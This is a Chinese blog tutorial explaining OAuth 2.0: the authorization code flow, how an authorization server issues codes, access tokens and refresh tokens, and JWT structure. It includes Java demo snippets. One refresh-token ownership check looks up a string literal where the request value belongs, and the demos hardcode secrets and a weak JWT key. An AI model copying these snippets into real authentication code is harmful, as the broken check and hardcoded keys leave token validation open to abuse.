OAuth2.0 实战总结


title: OAuth2.0 实战总结
date: 2023-01-30 11:23:12
tags:

  • OAuth2.0
    categories:
  • 开发技术及框架
    cover: https://cover.png
    feature: false

在这里插入图片描述

1. 引言

1.1 OAuth 2.0 是什么?

用一句话总结来说,OAuth 2.0 就是一种授权协议。那如何理解这里的“授权”呢?

举个生活中的例子。假设你想去百度拜访你的大客户王总,到了百度的大楼之后,保安拦住了你,问你要工牌。你说:“我是来拜访王总的,没有工牌”。保安大哥说:“那你要去前台做个登记”

来到前台,前台小姐姐问你是不是做了预约。你说王总秘书昨天有要你的手机号,说是已经做过预约。小姐姐确认之后往你的手机发了个验证码,你把验证码告诉了前台小姐姐之后,她给了你一张门禁卡,于是你就可以使用该门禁卡进行通行

这个例子里面就有一次授权。本来你是没有权限进入百度大楼的,但是经过前台小姐姐一系列的验证之后,她发现你确实是来拜访客户的,于是给了你一张临时工牌。这整个过程就是授权

再举一个电商的场景。假设你是一个卖家,在京东商城开了一个店铺,日常运营中你要将订单打印出来以便给用户发货。但打印这事儿也挺繁琐的,之前你总是手工操作,后来发现有个叫“小兔”的第三方软件,它可以帮你高效率地处理这事

但小兔是怎么访问到这些订单数据的呢?京东商城提供了开放平台,小兔通过京东商家开放平台的 API 就能访问到用户的订单数据,只要你在软件里点击同意,小兔就可以拿到一个访问令牌,通过访问令牌来获取到你的订单数据帮你干活。这里也是有一次授权,你要是不同意,平台肯定不敢把这些数据给到第三方软件

1.2 为什么用 OAuth 2.0?

基于上面两种场景的解决方案,关于授权,最容易想到的方案就是提供钥匙。比如,你要去百度拜访王总,那前台小姐姐就给你张百度的工牌;小兔要获取你的订单信息,那你就把你的用户名和密码给它。但稍微有些安全意识,我们都不会这样做

因为你有了百度工牌,那以后都可以随时自由地进出了,这显然不是百度想要的。所以,百度有一套完整的机制,通过给你一张临时工牌,实现在保证安全的情况下,还能让你去大楼里面见到王总。相应地,小兔软件请求访问你的订单数据的过程,也会涉及这样一套授权机制,那就是 OAuth 2.0。它通过给小兔软件一个访问令牌,而不是让小兔软件拿着你的用户名和密码,去获取你的订单数据帮你干活

其实,除了小兔软件这个场景,在如今的互联网世界里用到 OAuth 2.0 的地方非常多,只是因为它隐藏了实现细节,需要多做分析才能发现它。比如,当你使用微信登录其他网站或者 App 的时候,当你开始使用某个小程序的时候,你都在无感知的情况下用到了 OAuth 2.0

扫描二维码关注公众号,回复: 15375734 查看本文章

那总结来说,OAuth 2.0 这种授权协议,就是保证第三方(软件)只有在获得授权之后,才可以进一步访问授权者的数据。因此,常常还会听到一种说法,OAuth 2.0 是一种安全协议,这种说法也是正确的

现在访问授权者的数据主要是通过 Web API,所以凡是要保护这种对外的 API 时,都需要这样授权的方式。而 OAuth 2.0 的这种颁发访问令牌的机制,是再合适不过的方法了。同时,这样的 Web API 还在持续增加,所以 OAuth 2.0 是目前 Web 上重要的安全手段之一了

1.3 OAuth 2.0 是怎样运转的?

以上面提到的小兔打单软件的例子,假设小明在京东上面开了一个店铺,小明要管理他的店铺里面的订单,于是选择了使用小兔软件,现在,把“小明”“小兔软件”“京东商家开放平台”放到一个对话里面,看看“他们”是怎么沟通的

小明:“你好,小兔软件。我正在 Google 浏览器上面,需要访问你来帮我处理我在京东商城店铺的订单”

小兔软件:“好的,我需要你给我授权。现在我把你引导到京东商家开放平台上,你在那里给我授权”

京东商家开放平台:“你好,小明。我收到了小兔软件跳转过来的请求,现在已经准备好了一个授权页面。你登录并确认后,点击授权页面上面的授权按钮即可”

小明:“好的,京东商家开放平台。我看到了这个授权页面,已经点授权按钮了”

京东商家开放平台:“你好,小兔打单软件。我收到了小明的授权,现在要给你生成一个授权码 code 值,我通过浏览器重定向到你的回调 URL 地址上面了”

小兔软件:“好的,京东商家开放平台。我现在从浏览器上拿到了授权码,现在就用这个授权码来请求你,请给我一个访问令牌 access_token 吧”

京东商家开放平台:“好的,小兔打单软件,访问令牌已经发送给你了”

小兔打单软件:“太好了,我现在就可以使用访问令牌来获取小明店铺的订单了”

小明:“我已经能够看到我的订单了,现在就开始打单操作了”

在这里插入图片描述

再分析下这个流程,不难发现小兔软件最终的目的,是要获取一个叫做“访问令牌”的东西。从最后一步也能够看出来,在小兔软件获取到访问令牌之后,才有足够的 “能力”去请求小明的店铺的订单,也就是才能够帮助小明打印订单

那么,小兔软件是怎么获取访问令牌的值的呢?会发现还有一个叫做“授权码”的东西,也就是说小兔软件是拿授权码换取的访问令牌

小兔软件又是怎么拿到授权码的呢?从图中流程刚开始的那一步就会发现,是在小明授权之后,才产生的授权码,上面流程中后续的一切动作,实际上都是在小明对小兔软件授权发生以后才产生的。其中主要的动作,就是生成授权码 –> 生成访问令牌 –> 使用访问令牌

到这里,不难发现,OAuth 2.0 授权的核心就是颁发访问令牌、使用访问令牌,而且不管是哪种类型的授权流程都是这样,它是整个流程的核心

在小兔软件这个例子中呢,使用的就是授权码许可(Authorization Code)类型。它是 OAuth 2.0 中最经典、最完备、最安全、应用最广泛的许可类型。除了授权码许可类型外,OAuth 2.0 针对不同的使用场景,还有 3 种基础的许可类型,分别是隐式许可(Implicit)、客户端凭据许可(Client Credentials)、资源拥有者凭据许可(Resource Owner Password Credentials)。相对而言,这 3 种授权许可类型的流程,在流程复杂度和安全性上都有所减弱

2. 授权码

在前面,提到了 OAuth 2.0 的授权码许可类型,在小兔打单软件的例子里面,小兔最终是通过访问令牌请求到小明的店铺里的订单数据。同时还提到了,这个访问令牌是通过授权码换来的。为什么要用授权码来换令牌?为什么不能直接颁发访问令牌呢?

2.1 为什么需要授权码?

在讲这个问题之前,首先要了解到,在 OAuth 2.0 的体系里面有 4 种角色,按照官方的称呼它们分别是资源拥有者、客户端、授权服务和受保护资源。不过,这里的客户端,我更愿意称其为第三方软件,在后续,统一把它称为第三方软件

拿小兔软件来举例子,将官方的称呼 “照进现实”,对应关系就是,资源拥有者 -> 小明,第三方软件 -> 小兔软件,授权服务 -> 京东商家开放平台的授权服务,受保护资源 -> 小明店铺在京东上面的订单

OAuth 诞生之初就是为了解决 Web 浏览器场景下的授权问题,所以,这里基于浏览器的场景,在上一讲的小明使用小兔软件打印订单的整体流程的基础上,画了一个授权码许可类型的序列图。为了能够更好地表述授权码许可流程,这里把小兔软件的前端和后端分开展示,并把京东商家开放平台的系统按照 OAuth 2.0 的组件拆分成了授权服务和受保护资源服务。如下图所示:

在这里插入图片描述

从图中看到,在第 4 步授权服务生成了授权码 code,按照一开始提出来的问题,如果不要授权码,这一步实际上就可以直接返回访问令牌 access_token 了

按着这个没有授权码的思路继续想,如果这里直接返回访问令牌,那肯定不能使用重定向的方式。因为这样会把安全保密性要求极高的访问令牌暴露在浏览器上,从而将会面临访问令牌失窃的安全风险。显然,这是不能被允许的

也就是说,如果没有授权码的话,就只能把访问令牌发送给第三方软件小兔的后端服务。按照这样的逻辑,上面的流程图就会变成下面这样:

在这里插入图片描述

到这里,看起来天衣无缝。小明访问小兔软件,小兔软件说要打单你得给我授权,不然京东不干,然后小兔软件就引导小明跳转到了京东的授权服务。到授权服务之后,京东商家开放平台验证了小兔的合法性以及小明的登录状态后,生成了授权页面。紧接着,小明赶紧点击同意授权,这时候,京东商家开放平台知道可以把小明的订单数据给小兔软件

于是,京东商家开放平台没含糊,赶紧生成访问令牌 access_token,并且通过后端服务的方式返回给了小兔软件。这时候,小兔软件就能正常工作了

这样,问题就来了,当小明被浏览器重定向到授权服务上之后,小明跟小兔软件之间的 “连接” 就断了,相当于此时此刻小明跟授权服务建立了“连接”后,将一直“停留在授权服务的页面上”。图 2 中问号处的时序上,小明再也没有重新“连接”到小兔软件

但是,这个时候小兔软件已经拿到了小明授权之后的访问令牌,也使用访问令牌获取到了小明店铺里的订单数据。这时,考虑到“小明的感受”,小兔软件应该要通知到小明,但是如何做呢?现在“连接断了”,这事儿恐怕就没那么容易了

为了让小兔软件能很容易地通知到小明,还必须让小明跟小兔软件重新建立起 “连接”。这就是看到的第二次重定向,小明授权之后,又重新重定向回到了小兔软件的地址上,这样小明就跟小兔软件有了新的 “连接”

到这里,应该就能理解在授权码许可的流程中,为什么需要两次重定向了

为了重新建立起这样的一次连接,又不能让访问令牌暴露出去,就有了这样一个临时的、间接的凭证:授权码。因为小兔软件最终要拿到的是安全保密性要求极高的访问令牌,并不是授权码,而授权码是可以暴露在浏览器上面的。这样有了授权码的参与,访问令牌可以在后端服务之间传输,同时呢还可以重新建立小明与小兔软件之间的“连接”。这样通过一个授权码,既“照顾”到了小明的体验,又“照顾”了通信的安全

这下,应该就知道为什么要有授权码了

那么,在执行授权码流程的时候,授权码和访问令牌在小兔软件和授权服务之间到底是怎么流转的呢?

2.2 授权码许可类型的通信过程

上面时序图的通信过程中标识出来的步骤就有 9 个,一步步地去分析看似会很复杂,所以这里用另一个维度来分析以帮助理解,也就是从直接通信和间接通信的维度来分析。这里所谓的间接通信就是指获取授权码的交互,而直接通信就是指通过授权码换取访问令牌的交互

接下来,先分析下哪些是间接通信,哪些又是直接通信?

2.2.1 间接通信

先分析下为什么是“间接”

把前面时序图中获取授权码 code 的流程 “放大”,并换个角度来看一看,也就是将浏览器这个代理放到第三方软件小兔和授权服务中间,如下图:

在这里插入图片描述

这个过程,仿佛有这样的一段对话:

小明:“你好,小兔软件,我要访问你了”

小兔软件:“好的,我把你引到授权服务那里,我需要授权服务给我一个授权码”

授权服务:“小兔软件,我把授权码发给浏览器了”

小兔软件:“好的,我从浏览器拿到了授权码”

第三方软件小兔和授权服务之间,并没有发生直接的通信,而是通过浏览器这个“中间人” 来 “搭线”的。因此,可以说这是一个间接通信的方式

2.2.2 直接通信

再把前面时序图中获取访问令牌的流程“放大”,就得到了下面的图示:

在这里插入图片描述

相比获取授权码过程的间接通信,获取访问令牌的直接通信就比较容易理解了,就是第三方软件小兔获取到授权码 code 值后,向授权服务发起获取访问令牌 access_token 的通信请求。这个请求是第三方软件服务器跟授权服务的服务器之间的通信,都是在后端服务器之间的请求和响应,因此也叫作后端通信

2.2.3 两个 “一伙”

了解了上面的通信方式之后,可以意识到,OAuth 2.0 中的 4 个角色是 “两两站队” 的:资源拥有者和第三方软件“站在一起”,因为第三方软件要代表资源拥有者去访问受保护资源;授权服务和受保护资源“站在一起”,因为授权服务负责颁发访问令牌,受保护资源负责接收并验证访问令牌

在这里插入图片描述

讲到这里,可能会发现在介绍授权码流程的时候都是以浏览器参与的场景来讲的,那么浏览器一定要参与到这个流程中吗?其实,授权码许可流程,不一定要有浏览器的参与

2.3 一定要有浏览器吗?

OAuth 2.0 发展之初,开放生态环境相对单薄,以浏览器为代理的 Web 应用居多,授权码许可类型 “理所当然” 地被应用到了通过浏览器才能访问的 Web 应用中

但实际上,OAuth 2.0 是一个授权理念,或者说是一种授权思维。它的授权码模式的思维可以移植到很多场景中,比如微信小程序。在开发微信小程序应用时,通过授权码模式获取用户登录信息,官方文档的地址示例中给出的 grant_type=authorization_code ,就没有用到浏览器

根据微信官方文档描述,开发者获取用户登录态信息的过程正是一个授权码的许可流程:

首先,开发者通过 wx.login(Object object) 方法获取到登录凭证 code 值,这一步的流程是在小程序内部通过调用微信提供的 SDK 实现

然后,再通过该 code 值换取用户的 session_key 等信息,也就是官方文档的 auth.code2Session 方法,同时该方法也是被强烈建议通过开发者的后端服务来调用的

可以看到,这个过程并没有使用到浏览器,但确实按照授权码许可的思想走了一个完整的授权码许可流程。也就是说,先通过小程序前端获取到 code 值,再通过小程序的后端服务使用 code 值换取 session_key 等信息,只不过是访问令牌 access_token 的值被换成了 session_key

这整个过程体现的就是授权码许可流程的思想

2.4 总结

1、授权码许可流程有两种通信方式。一种是前端通信,因为它通过浏览器促成了授权码的交互流程,比如京东商家开放平台的授权服务生成授权码发送到浏览器,第三方软件小兔从浏览器获取授权码。正因为获取授权码的时候小兔软件和授权服务并没有发生直接的联系,也叫做间接通信。另外一种是后端通信,在小兔软件获取到授权码之后,在后端服务直接发起换取访问令牌的请求,也叫做直接通信

2、在 OAuth 2.0 中,访问令牌被要求有极高的安全保密性,因此不能让它暴露在浏览器上面,只能通过第三方软件(比如小兔)的后端服务来获取和使用,以最大限度地保障访问令牌的安全性。正因为访问令牌的这种安全要求特性,当需要前端通信,比如浏览器上面的流转的时候,OAuth 2.0 才又提供了一个临时的凭证:授权码。通过授权码的方式,可以让用户小明在授权服务上给小兔授权之后,还能重新回到小兔的操作页面上。这样,在保障安全性的情况下,提升了小明在小兔上的体验

从授权码许可流程中就可以看出来,它完美地将 OAuth 2.0 的 4 个角色组织了起来,并保证了它们之间的顺畅通信。它提出的这种结构和思想都可以被迁移到其他环境或者协议上,比如在微信小程序中使用授权码许可

3. 授权服务

一句话概括,授权服务就是负责颁发访问令牌的服务。更进一步地讲,OAuth 2.0 的核心是授权服务,而授权服务的核心就是令牌

为什么这么说呢?当第三方软件比如小兔,要想获取小明在京东店铺的订单,就必须先从京东商家开放平台的授权服务那里获取访问令牌,进而通过访问令牌来 “代表” 小明去请求小明的订单数据。这不恰恰就是整个 OAuth 2.0 授权体系的核心吗?

那么,授权服务到底是怎么生成访问令牌的,这其中包含了哪些操作呢?还有一个问题是,访问令牌过期了而用户又不在场的情况下,又如何重新生成访问令牌呢?

3.1 授权服务的工作过程

开始之前,先再回想下小明给小兔软件授权订单数据的整个流程

小兔软件先要让小明去京东商家开放平台那里给它授权数据,那这里是不是觉得有点奇怪?你总不能说,“嘿,京东,你把数据给小兔用吧”,那京东肯定会回复说,“小明,小兔是谁啊,没在我这里备过案,我不能给他,万一是骗子呢?”

所以,授权这个大动作的前提,肯定是小兔要去平台那里“备案”,也就是注册。注册完后,京东商家开放平台就会给小兔软件 app_id 和 app_secret 等信息,以方便后面授权时的各种身份校验

同时,注册的时候,第三方软件也会请求受保护资源的可访问范围。比如,小兔能否获取小明店铺 3 个月以前的订单,能否获取每条订单的所有字段信息等等。这个权限范围,就是 scope,关于注册后的数据存储,使用如下 Java 代码来模拟:

Map<String,String> appMap = new HashMap<String, String>(); // 模拟第三方软件注册之后
appMap.put("app_id", "APPID_RABBIT");
appMap.put("app_secret", "APPSECRET_RABBIT");
appMap.put("redirect_uri", "http://localhost:8080/AppServlet-ch03");
appMap.put("scope", "nickname address pic");

备完案之后,接着继续前进。小明过来让平台把他的订单数据给小兔,平台咔咔一查,对了下暗号,发现小兔是合法的,于是就要推进下一步了

前面讲过,在授权码许可类型中,授权服务的工作,可以划分为两大部分,一个是颁发授权码 code,一个是颁发访问令牌 access_token。为了更能表达授权码和访问令牌的存在,在下图中用深色将其标注了出来:

在这里插入图片描述

1、先看看颁发授权码 code 的流程

在这个过程中,授权服务需要完成两部分工作,分别是准备工作和生成授权码 code

这个“准备”都包括哪些工作?小明在给第三方软件小兔打单软件进行授权的时候,会看到授权页面上有一个授权按钮,但是授权服务在小明看到这个授权按钮之前,实际上已经做了一系列动作

这些动作,就是所谓的准备工作,包括验证基本信息、验证权限范围(第一次)和生成授权请求页面这三步

  1. 验证基本信息,包括对第三方软件小兔合法性和回调地址合法性的校验
    在 Web 浏览器环境下,颁发 code 的整个请求过程,都是浏览器通过前端通信来完成,这就意味着所有信息都有被冒充的风险。因此,授权服务必须对第三方软件的存在性做判断

    同样,回调地址也是可以被伪造的。比如,不法分子将其伪装成钓鱼页面,或者是带有恶意攻击性的软件下载页面。因此从安全上考虑,授权服务需要对回调地址做基本的校验

    if(!appMap.get("redirect_uri").equals(redirectUri)){
          
          
        //回调地址不存在
    }
    

    在授权服务的程序中,这两步验证通过后,就会生成或者响应一个页面(属于授权服务器上的页面),以提示小明进行授权

  2. 验证权限范围(第一次)
    既然是授权,就会涉及范围。比如,使用微信登录第三方软件的时候,会看到微信提示我们,第三方软件可以获得你的昵称、头像、性别、地理位置等。如果你不想让第三方软件获取你的某个信息,那么可以不选择这一项。同样在小兔中也是一样,当小明为小兔进行授权的时候,也可以选择给小兔的权限范围,比如是否授予小兔获取 3 个月以前的订单的访问权限

    这就意味着,需要对小兔传过来的 scope 参数,与小兔注册时申请的权限范围做比对。如果请求过来的权限范围大于注册时的范围,就需要作出越权提示。记住,此刻是第一次权限校验

    String scope = request.getParameter("scope");
    if(!checkScope(scope)){
          
          
        //超出注册的权限范围
    }
    
  3. 生成授权请求页面
    这个授权请求页面就是授权服务上的页面,如下图所示:

    在这里插入图片描述

    页面上显示了小兔注册时申请的 today、history 两种权限,小明可以选择缩小这个权限范围,比如仅授予获取 today 信息的权限

    至此,颁发授权码 code 的准备工作就完成了。注意,这里是准备工作,因为当用户点击授权按钮“approve”后,才会生成授权码 code 值和访问令牌 acces_token 值,“一切才真正开始”

    这里需要说明下:在上面的准备过程中,忽略了小明登录的过程,但只有用户登录了才可以对第三方软件进行授权,授权服务才能够获得用户信息并最终生成 code 和 app_id(第三方软件的应用标识) + user(资源拥有者标识)之间的对应关系

    小明点击“approve”按钮之后,生成授权码 code 的流程就正式开始了,主要包括验证权限范围(第二次)、处理授权请求生成授权码 code 和重定向至第三方软件这三大步

  4. 验证权限范围(第二次)
    在步骤二中,生成授权页面之前授权服务进行的第一次校验,是对比小兔请求过来的权限范围 scope 和注册时的权限做的比对。这里的第二次验证权限范围,是用小明进行授权之后的权限,再次与小兔软件注册的权限做校验

    这里为什么又要校验一次呢?因为这相当于一次用户的输入权限。小明选择了一定的权限范围给到授权服务,对于权限的校验要重视对待,凡是输入性数据都会涉及到合法性检查。另外,这也是养成一种在服务端对输入数据的请求,都尽可能做一次合法性校验的好习惯

    String[] rscope =request.getParameterValues("rscope");
    if(!checkScope(rscope)){
          
          
        //超出注册的权限范围
    }
    
  5. 处理授权请求,生成授权码 code
    当小明同意授权之后,授权服务会校验响应类型 response_type 的值。response_type 有 code 和 token 两种类型的值。在这里是用授权码流程来举例的,因此代码要验证 response_type 的值是否为 code

    String responseType = request.getParameter("response_type");
    if("code".equals(responseType)){
          
          
    }
    

    在授权服务中,需要将生成的授权码 code 值与 app_id、user 进行关系映射。也就是说,一个授权码 code,表示某一个用户给某一个第三方软件进行授权,比如小明给小兔软件进行的授权。同时,需要将 code 值和这种映射关系保存起来,以便在生成访问令牌 access_token 时使用

    String code = generateCode(appId, "USERTEST"); // 模拟登录用户为USERTEST
    private String generateCode(String appId, String user) {
          
          
        ...
        String code = strb.toString();
        codeMap.put(code,appId+"|"+user+"|"+System.currentTimeMillis());
        return code;
    }
    

    在生成了授权码 code 之后,也按照上面所述绑定了响应的映射关系。但之前讲到的授权码是临时的、一次性凭证,因此,还需要为 code 设置一个有效期

    OAuth 2.0 规范建议授权码 code 值有效期为 10 分钟,并且一个授权码 code 只能被使用一次。不过根据经验,在生产环境中 code 的有效期一般不会超过 5 分钟

    同时,授权服务还需要将生成的授权码 code 跟已经授权的权限范围 rscope 进行绑定并存储,以便后续颁发访问令牌时,能够通过 code 值取出授权范围并与访问令牌绑定。因为第三方软件最终是通过访问令牌来请求受保护资源的

    Map<String,String[]> codeScopeMap = new HashMap<String, String[]>();
    codeScopeMap.put(code,rscope); // 授权范围与授权码做绑定
    
  6. 重定向至第三方软件
    生成授权码 code 值之后,授权服务需要将该 code 值告知第三方软件小兔。开始时提到,颁发授权码 code 是通过前端通信完成的,因此这里采用重定向的方式。这一步的重定向,也是在之前提到的第二次重定向

    Map<String, String> params = new HashMap<String, String>();
    params.put("code",code);
    String toAppUrl = URLParamsUtil.appendParams(redirectUri,params); // 构造第三方软件
    response.sendRedirect(toAppUrl); // 授权码流程的“第二次”重定向
    

到此,颁发授权码 code 的流程全部完成。当小兔获取到授权码 code 值以后,就可以开始请求访问令牌 access_token 的值了

2、颁发访问令牌 access_token

在前面介绍了授权码 code 的生成流程,但小兔最终是要获取到访问令牌 access_token,才可以去请求受保护资源。而授权码只是一个换取访问令牌 access_token 的临时凭证

当小兔拿着授权码 code 来请求的时候,授权服务需要为之生成最终的请求访问令牌。这个过程主要包括验证第三方软件小兔是否存在、验证 code 值是否合法和生成 access_token 值这三大步

  1. 验证第三方软件是否存在
    此时,接收到的 grant_type 的类型为 authorization_code

    String grantType = request.getParameter("grant_type");
    if("authorization_code".equals(grantType)){
          
          
    }
    

    由于颁发访问令牌是通过后端通信完成的,所以这里除了要校验 app_id 外,还要校验 app_secret

    if(!appMap.get("app_id").equals(appId)){
          
          
        // app_id不存在
    }
    if(!appMap.get("app_secret").equals(appSecret)){
          
          
        // app_secret不合法
    }
    
  2. 验证授权码 code 值是否合法
    授权服务在颁发授权码 code 的阶段已经将 code 值存储了起来,此时对比从 request 中接收到的 code 值和从存储中取出来的 code 值

    String code = request.getParameter("code");
    if(!isExistCode(code)){
          
           // 验证code值
        // code不存在
        return;
    }
    codeMap.remove(code); // 授权码一旦被使用,须立即作废
    

    这里一定要记住,确认过授权码 code 值有效以后,应该立刻从存储中删除当前的 code 值,以防止第三方软件恶意使用一个失窃的授权码 code 值来请求授权服务

  3. 生成访问令牌 access_token 值
    关于按照什么规则来生成访问令牌 access_token 的值,OAuth 2.0 规范中并没有明确规定,但必须符合三个原则:唯一性、不连续性、不可猜性。这里使用 UUID 来作为示例

    和授权码 code 值一样,需要将访问令牌 access_token 值存储起来,并将其与第三方软件的应用标识 app_id 和资源拥有者标识 user 进行关系映射。也就是说,一个访问令牌 access_token 表示某一个用户给某一个第三方软件进行授权

    同时,授权服务还需要将授权范围跟访问令牌 access_token 做绑定。最后,还需要为该访问令牌设置一个过期时间 expires_in,比如 1 天

    Map<String,String[]> tokenScopeMap = new HashMap<String, String[]>();
    String accessToken = generateAccessToken(appId, "USERTEST"); // 生成访问令牌access_token
    tokenScopeMap.put(accessToken,codeScopeMap.get(code)); // 授权范围与访问令牌绑定
    // 生成访问令牌的方法
    private String generateAccessToken(String appId,String user) {
          
          
        String accessToken = UUID.randomUUID().toString();
        String expires_in = "1"; // 1天时间过期
        tokenMap.put(accessToken, appId+"|"+user+"|"+System.currentTimeMillis()+"|"+expires_in);
    
        return accessToken;
    }
    

正因为 OAuth 2.0 规范没有约束访问令牌内容的生成规则,所以有更高的自由度。既可以像上面 Demo 中那样生成一个 UUID 形式的数据存储起来,让授权服务和受保护资源共享该数据;也可以将一些必要的信息通过结构化的处理放入令牌本身。将包含了一些信息的令牌,称为结构化令牌,简称 JWT

至此,授权码许可类型下授权服务的两大主要过程,也就是颁发授权码和颁发访问令牌的流程,就讲完了

到这里,可能还应该会注意到一个问题,在生成访问令牌的时候,给它附加了一个过期时间 expires_in,这意味着访问令牌会在一定的时间后失效。访问令牌失效,就意味着资源拥有者给第三方软件的授权失效了,第三方软件无法继续访问资源拥有者的受保护资源了

这时,如果你还想继续使用第三方软件,就只能重新点击授权按钮,比如小明给小兔软件授权以后,正在愉快地处理他店铺的订单数据,结果没过多久,突然间小兔软件再次让小明进行授权

显然,这样的用户体验非常糟糕。为此,OAuth 2.0 中引入了刷新令牌的概念,也就是刷新访问令牌 access_token 的值。这就意味着,有了刷新令牌,用户在一定期限内无需重新点击授权按钮,就可以继续使用第三方软件

3.2 刷新令牌

刷新令牌也是给第三方软件使用的,同样需要遵循先颁发再使用的原则

3.2.1 颁发刷新令牌

其实,颁发刷新令牌和颁发访问令牌是一起实现的,都是在过程二的步骤三生成访问令牌 access_token 中生成的。也就是说,第三方软件得到一个访问令牌的同时,也会得到一个刷新令牌:

Map<String,String> refreshTokenMap = new HashMap<String, String>();
String refreshToken = generateRefreshToken(appId, "USERTEST"); // 生成刷新令牌refreshToken
private String generateRefreshToken(String appId,String user) {
    
    
    String refreshToken = UUID.randomUUID().toString();
    refreshTokenMap.put(refreshToken, appId+"|"+user+"|"+System.currentTimeMillis());
  
    return refreshToken;
}

为什么要一起生成访问令牌和刷新令牌呢?

这就回到了刷新令牌的作用上了。刷新令牌存在的初衷是,在访问令牌失效的情况下,为了不让用户频繁手动授权,用来通过系统重新请求生成一个新的访问令牌。那么,如果访问令牌失效了,而“身边”又没有一个刷新令牌可用,岂不是又要麻烦用户进行手动授权了。所以,它必须得和访问令牌一起生成

3.2.2 使用刷新令牌

在 OAuth 2.0 规范中,刷新令牌是一种特殊的授权许可类型,是嵌入在授权码许可类型下的一种特殊许可类型。在授权服务的代码里,当接收到这种授权许可请求的时候,会先比较 grant_type 和 refresh_token 的值,然后做下一步处理,这其中的流程主要包括如下两大步骤:

1、接收刷新令牌请求

此时请求中的 grant_type 值为 refresh_token

String grantType = request.getParameter("grant_type");
if("refresh_token".equals(grantType)){
    
    
}

和颁发访问令牌前的验证流程一样,这里也需要验证第三方软件是否存在。需要注意的是,这里需要同时验证刷新令牌是否存在,目的就是要保证传过来的刷新令牌的合法性

String refresh_token = request.getParameter("refresh_token");
if(!refreshTokenMap.containsKey(refresh_token)){
    
    
    // 该refresh_token值不存在
}

另外,还需要验证刷新令牌是否属于该第三方软件。授权服务是将颁发的刷新令牌与第三方软件、当时的授权用户绑定在一起的,因此这里需要判断该刷新令牌的归属合法性

String appStr = refreshTokenMap.get("refresh_token");
if(!appStr.startsWith(appId+"|"+"USERTEST")){
    
    
    // 该refresh_token值不是颁发给该第三方软件的
}

需要注意,一个刷新令牌被使用以后,授权服务需要将其废弃,并重新颁发一个刷新令牌

2、重新生成访问令牌

生成访问令牌的处理流程,与颁发访问令牌环节的生成流程是一致的。授权服务会将新的访问令牌和新的刷新令牌,一起返回给第三方软件

3.3 总结

1、授权服务的核心就是,先颁发授权码 code 值,再颁发访问令牌 access_token 值

2、在颁发访问令牌的同时还会颁发刷新令牌 refresh_token 值,这种机制可以在无须用户参与的情况下用于生成新的访问令牌

3、授权还要有授权范围,不能让第三方软件获得比注册时权限范围还大的授权,也不能获得超出了用户授权的权限范围,始终确保最小权限安全原则

4. JWT 结构化令牌

4.1 简介

JSON Web Token(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为 JSON 对象在各方之间安全地传输信息

简单理解下,JWT 就是用一种结构化封装的方式来生成 token 的技术。结构化后的 token 可以被赋予非常丰富的含义,这也是它与原先毫无意义的、随机的字符串形式 token 的最大区别

结构化之后,令牌本身就可以被“塞进”一些有用的信息,比如小明为小兔软件进行了授权的信息、授权的范围信息等。或者,可以形象地将其理解为这是一种“自编码”的能力,而这些恰恰是无结构化令牌所不具备的

JWT 这种结构化体可以分为 HEADER(头部)、PAYLOAD(数据体)和 SIGNATURE(签名)三部分。经过签名之后的 JWT 的整体结构,是被句点符号分割的三段内容,结构为 header.payload.signature 。比如下面这个示例(JWT 内部没有换行,这里只是为了展示方便,才将其用三行来表示):

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJzdWIiOiJVU0VSVEVTVCIsImV4cCI6MTU4NDEwNTc5MDcwMywiaWF0IjoxNTg0MTA1OTQ4MzcyfQ.
1HbleXbvJ_2SW8ry30cXOBGR9FW4oSWBd3PWaWKsEXE

这个 JWT 令牌看起来毫无意义,就是一个随机的字符串,确实,直接去看这个字符串是没啥意义,但如果把它拷贝到 https://jwt.io/ 网站的在线校验工具中,就可以看到解码之后的数据:

在这里插入图片描述

再看解码后的数据,很显然,现在呈现出来的就是结构化的内容了

JWT 主要包括三部分,HEADER(头部)、PAYLOAD(有效负荷)、SIGNATURE(签名)

HEADER 表示装载令牌类型和算法等信息,是 JWT 的头部。其中,typ 表示第二部分 PAYLOAD 是 JWT 类型,alg 表示使用 HS256 对称签名的算法

PAYLOAD 表示是 JWT 的数据体,代表了一组数据。其中,sub(令牌的主体,一般设为资源拥有者的唯一标识)、exp(令牌的过期时间戳)、iat(令牌颁发的时间戳)是 JWT 规范性的声明,代表的是常规性操作。更多的通用声明,可以参考 RFC 7519 开放标准。不过,在一个 JWT 内可以包含一切合法的 JSON 格式的数据,也就是说,PAYLOAD 表示的一组数据允许自定义声明

SIGNATURE 表示对 JWT 信息的签名。那么,它有什么作用呢?你可能认为,有了 HEADER 和 PAYLOAD 两部分内容后,就可以让令牌携带信息了,似乎就可以在网络中传输了,但是在网络中传输这样的信息体是不安全的。所以,还需要对其进行加密签名处理,而 SIGNATURE 就是对信息的签名结果,当受保护资源接收到第三方软件的签名后需要验证令牌的签名是否合法

详细可见:JWT 总结_凡 223 的博客

4.2 令牌内检

授权服务颁发令牌,受保护资源服务就要验证令牌。同时呢,授权服务和受保护资源服务,它俩是“一伙的”(见 2.2.3),受保护资源来调用授权服务提供的检验令牌的服务,把这种校验令牌的方式称为令牌内检

有时候授权服务依赖一个数据库,然后受保护资源服务也依赖这个数据库,也就是常说的“共享数据库”。不过,在如今已经成熟的分布式以及微服务的环境下,不同的系统之间是依靠服务而不是数据库来通信了,比如授权服务给受保护资源服务提供一个 RPC 服务。如下图所示:

在这里插入图片描述

那么,在有了 JWT 令牌之后,就多了一种选择,因为 JWT 令牌本身就包含了之前所要依赖数据库或者依赖 RPC 服务才能拿到的信息,比如上面提到的哪个用户为哪个软件进行了授权等信息

4.3 JWT 是如何被使用的?

有了 JWT 令牌之后的通信方式,就如下图所示,授权服务“扔出”一个令牌,受保护资源服务“接住”这个令牌,然后自己开始解析令牌本身所包含的信息就可以了,而不需要再去查询数据库或者请求 RPC 服务。这样也实现了上面说的令牌内检

在这里插入图片描述

在上面这幅图中呢,为了更能突出 JWT 令牌的位置,简化了逻辑关系。实际上,授权服务颁发了 JWT 令牌后给到了小兔软件,小兔软件拿着 JWT 令牌来请求受保护资源服务,也就是小明在京东店铺的订单。很显然,JWT 令牌需要在公网上做传输。所以在传输过程中,JWT 令牌需要进行 Base64 编码以防止乱码,同时还需要进行签名及加密处理来防止数据信息泄露

如果是我们自己处理这些编码、加密等工作的话,就会增加额外的编码负担。不过可以借助一些开源的工具来帮助我们处理这些工作。比如, JJWT、Java JWT,如下例使用了 JJWT

String sharedTokenSecret="hellooauthhellooauthhellooauthhellooauth"; // 密钥
